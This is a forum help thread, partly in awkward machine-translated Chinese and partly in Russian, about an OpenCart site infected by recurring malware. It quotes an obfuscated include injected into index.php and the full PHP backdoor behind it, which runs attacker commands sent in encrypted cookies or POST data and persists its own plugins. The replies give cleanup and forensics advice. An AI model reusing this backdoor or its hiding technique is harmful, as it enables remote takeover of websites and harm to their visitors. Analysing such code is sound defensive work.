你好。最近,我开始注意到当我打开我的网站时,会重定向到某种广告网站。我开始查看我的代码,在 index.php 中我发现了这样一行:
/*1d3ec*/
@include "\x2fhom\x65/ab\x6din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6c/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";
/*1d3ec*/
当我删除多余的部分时,我得到了某个文件的路径:
home/admin/domains/домен_сайта/public_html/vqmod/vqcache/favicon_786a4f.ico
我找到了这个文件,打开它,然后:
好吧,我认为代码已从 index.php 和文件中删除.. 第二天出现了相同样式的新代码和新文件,只是在不同的文件夹中。如何从这种感染中清除网站?
引擎:Opencart 2.1.0.1
仅安装的模块:Marketplace、Ajax Product Page Loader、[OCJazz] SeoPro、uLogin - 面板。修饰符:iSenseLabs 的本地副本 OCMOD,oc2011+ 的 Easy Blog Simple。
更改了托管密码,将 index.php 文件的属性设置为“只读”,但没有帮助。也许有人遇到过这个。感谢您阅读到最后!
UPD:病毒仍然存在,我已经清除了很多次。我决定看看恶意代码里面有什么,我请求那些能从下面的代码中理解漏洞所在的人的帮助,因为我自己熟悉 PHP 还不到一年。
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = 'aad641a4-4dd3-47a3-981c-7dfb1725ccd9';
global $cs_auth;
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : 'w';
$f = @fopen($n, $mode);
if ($f === False)
{
return 0;
}
else
{
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($filename)
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
return $fcontents;
}
}
function cs_get_current_filepath()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function cs_decrypt_phase($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function cs_decrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}
function cs_get_plugin_config()
{
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config = substr($self_content, $config_pos + 32);
$plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
}
else
{
$plugins = Array();
}
return $plugins;
}
function cs_set_plugin_config($plugins)
{
$config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config_old = substr($self_content, $config_pos + 32);
$self_content = str_replace($config_old, $config_enc, $self_content);
}
else
{
$self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
}
@file_put_contents(cs_get_current_filepath(), $self_content);
}
function cs_plugin_add($name, $base64_data)
{
$plugins = cs_get_plugin_config();
$plugins[$name] = base64_decode($base64_data);
cs_set_plugin_config($plugins);
}
function cs_plugin_rem($name)
{
$plugins = cs_get_plugin_config();
unset($plugins[$name]);
cs_set_plugin_config($plugins);
}
function cs_plugin_load($name=NULL)
{
foreach (cs_get_plugin_config() as $pname=>$pcontent)
{
if ($name)
{
if (strcmp($name, $pname) == 0)
{
eval($pcontent);
break;
}
}
else
{
eval($pcontent);
}
}
}
foreach ($_COOKIE as $key=>$value)
{
$data = $value;
$data_key = $key;
}
if (!$data)
{
foreach ($_POST as $key=>$value)
{
$data = $value;
$data_key = $key;
}
}
$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));
if (isset($data['ak']) && $cs_auth==$data['ak'])
{
if ($data['a'] == 'i')
{
$i = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $data['ak'],
);
echo @serialize($i);
exit;
}
elseif ($data['a'] == 'e')
{
eval($data['d']);
}
elseif ($data['a'] == 'plugin')
{
if($data['sa'] == 'add')
{
cs_plugin_add($data['p'], $data['d']);
}
elseif($data['sa'] == 'rem')
{
cs_plugin_rem($data['p']);
}
}
echo $data['ak'];
}
cs_plugin_load();
}
UPD 2: 我只是查看了其中一个站点上的日志,这就是那里的内容


让我们从简单的事实开始。病毒是驻留在某处并执行导致其繁殖的某种程序。
病毒以某种方式进入您的服务器。这可能是服务器上使用的软件的一个漏洞(而且这远不是 Opencart 的罪魁祸首,更重要的是,那里是否使用许可副本根本无关紧要),主机软件,你的主机来自您管理网站的位置。利用这个漏洞,恶意代码可以访问理论上它不应该访问的地方。
而且,获得访问权限后,病毒通常会进一步繁殖。它不关心你在哪里工作,使用什么许可证,你托管了多少站点等等,它会分散到它可以到达的任何地方。因此,如果您只有 1 个泄漏文件,那么服务器上的所有文件都存在风险。
怎么办:修复后果,进行备份,如果经常发生 - 自动滚动备份,至少每小时一次。
find实用程序将在搜索更改的文件方面发挥很好的grep作用mc。但这不是治病,而是治标。如何捕捉:首先尝试定位问题。关闭站点上的所有内容,例如网络服务器。那些。如果有 FTP 服务器,请将其关闭,这样即使您也无法登录,邮件、ssh 和其他不监听 127.0.0.1 的服务也是如此。如果奇迹继续存在——我们会关闭网络服务器(网站会撒谎),但打开 FTP 和其他一切,等待奇迹再次出现。如果在那之后奇迹继续存在,那么很可能是不正当的主机负责,或者你有一个复杂的问题。
找到问题的根源后,我们尝试更准确地定位问题。如果 Web 服务器打开时出现奇迹,那么我们配置 Web 服务器以维护详细日志并将它们写入非标准位置的某个地方,但最好立即将它们合并到远程主机。当奇迹开始时,再看看日志,某处会有一些有趣和不寻常的东西。这是不寻常的,有一个洞。
如果洞在web服务器外面,那你可以试试重炮之类
tcpdump的,迟早会被动物撞上的。这里最主要的是储备大量的磁盘空间。如果动物也没有在这里遇到,那么主人有你,或者在前面段落的某个地方没有引起注意。找到一个洞后,就已经知道要修复/更新什么,并且没有公开的算命。通常,最好通知作者他们的软件存在漏洞,他们会尽快修复它(如果作者是我们的同胞,那么除了粗鲁和威胁,你什么也得不到回报)并向您发送更正后的版本。
当然,这样的 safari 与站点的正常运行不兼容,但它很有趣并且会给出结果。
Вообще, причиной всего этого является 100% не этот найденный вами файл. С подобными скриптами сталкивался не раз, но на Wordpress (отчего его и недолюбливаю). Суть там примерно такая - один раз находится дырка в вашем сайте (скорее всего просто подобрали ftp пароль), затем заливается обычный файл, предоставляющий доступ к редактированию файлов (есть какой-то легковесный редактор файлов, там буквально 40-50 строчек, даже пароля не просит), а затем уже все "грязные" скрипты заливаются через него, так что искать вам надо именно такой файл. Открывать AccessLog и смотреть к каким файлам обращаются. Антивирусы хостингов (тем более Касперского, т.к. он не ориентирован на php) этот файл не распознают как вирусный, т.к. он вполне логичен - т.к. там никаких кракозябр, preg_replace и прочего.
Думаю, первое, что нужно сделать на время ремонта - это просканировать сканером уязвимости, хотя бы тулзой Nikto.
https://www.youtube.com/watch?v=U9FQlZDtPV4
Далее сменить все ключи, абсолютно все управляющие ключи. Написать хостеру о проблеме если хостинг, если VDS просканировань систему и понять насколько все плохо. Если руткит или червь, менять сервер. В этом помогут логи, и команды
grep,findиtop.После переезда и закрытия сайта начать чистить код, в идеале сделать образ и снимок состояния, провести скан уязвимостей, портировать образ на локаль и попробовать вытащить данные, после чистки закрыть уязвимость которую выдал CVE. Все это нужно сделать обязательно. Так как у вас простая проблема, вы чистите вирус, но не закрываете уязвимость. После того, как вы проделаете все это, советую поставить IDS/IPS. Самая известная: https://www.mcafee.com/ru/products/network-security-platform.aspx.
Эта система позволит вам отследить, сделал ли это инсайдер. Так же советую регулярно делать обновления систем. Если система свежая, то советую написать об уязвимости её авторам.
Пока лучшая, на мой взгляд, статья по лечению на хабре https://habrahabr.ru/post/188878/
С вероятностью 90% это заражение на уровне эксплуатации известных дырок в CMS. Если CMS позволяет то лучше "экспорт всего" -> "новая установка cms со всеми патчами безопасности" -> "импорт всего". Но к сожалению такое редко возможно.
Обычно я делаю так: